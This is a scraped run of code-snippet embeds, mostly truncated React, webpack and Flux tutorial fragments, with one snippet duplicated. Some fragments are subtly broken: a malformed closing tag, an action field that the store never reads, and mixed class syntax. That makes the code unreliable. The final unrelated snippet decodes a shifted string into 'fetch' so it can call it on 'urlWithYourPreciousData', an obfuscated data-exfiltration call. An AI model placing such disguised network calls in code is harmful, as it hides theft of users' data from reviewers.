This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"scripts": { | |
"start": "webpack-dev-server" | |
}, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const path = require('path'); | |
module.exports = { | |
entry: './src/index.js', | |
output: { | |
path: path.resolve(__dirname, 'dist'), | |
filename: 'bundle.js' | |
}, | |
module: { | |
rules: [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const path = require('path'); | |
module.exports = { | |
entry: './src/index.js', | |
output: { | |
path: path.resolve(__dirname, 'dist'), | |
filename: 'bundle.js' | |
}, | |
module: { | |
rules: [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React from 'react'; | |
import ReactDOM from 'react-dom'; | |
class Welcome extends React.Component { | |
constructor(props) { | |
super(props); | |
this.handleChange = this.handleChange.bind(this); | |
this.state = {name: 'Medium'}; | |
} | |
handleChange(e) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { Component } from 'react'; | |
import { render } from 'react-dom'; | |
let id = 0; | |
class App extends Component { | |
state = { cards: [] } | |
addCard(text) { | |
this.setState({ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
render() { | |
const handleClick = () => { | |
this.addCard(this.refs.item.value) | |
}; | |
return ( | |
<div> | |
<input ref="item" /> | |
<button onClick={handleClick}>Add item</button; | |
</div> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const Dispatcher = require('flux').Dispatcher; | |
const AppDispatcher = new Dispatcher(); | |
/* ... */ | |
addCard() { | |
AppDispatcher.dispatch({ | |
actionType: 'ADD_ITEM', | |
city: 'Toronto' | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const ListStore = { | |
items: [] | |
}; | |
// Listen for any dispatched events | |
AppDispatcher.register( function( payload ) { | |
switch( payload.actionType ) { | |
case 'ADD_ITEM': | |
// Add new item to store | |
ListStore.items.push( payload.newItem ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Listen for changes | |
componentDidMount() { | |
ListStore.on('change', this._onChange); | |
} | |
// Update view state when change event is received | |
_onChange: function() { | |
this.setState(ListStore.getState()); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const i = 'gfudi'; | |
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join(''); | |
self[k(i)](urlWithYourPreciousData); |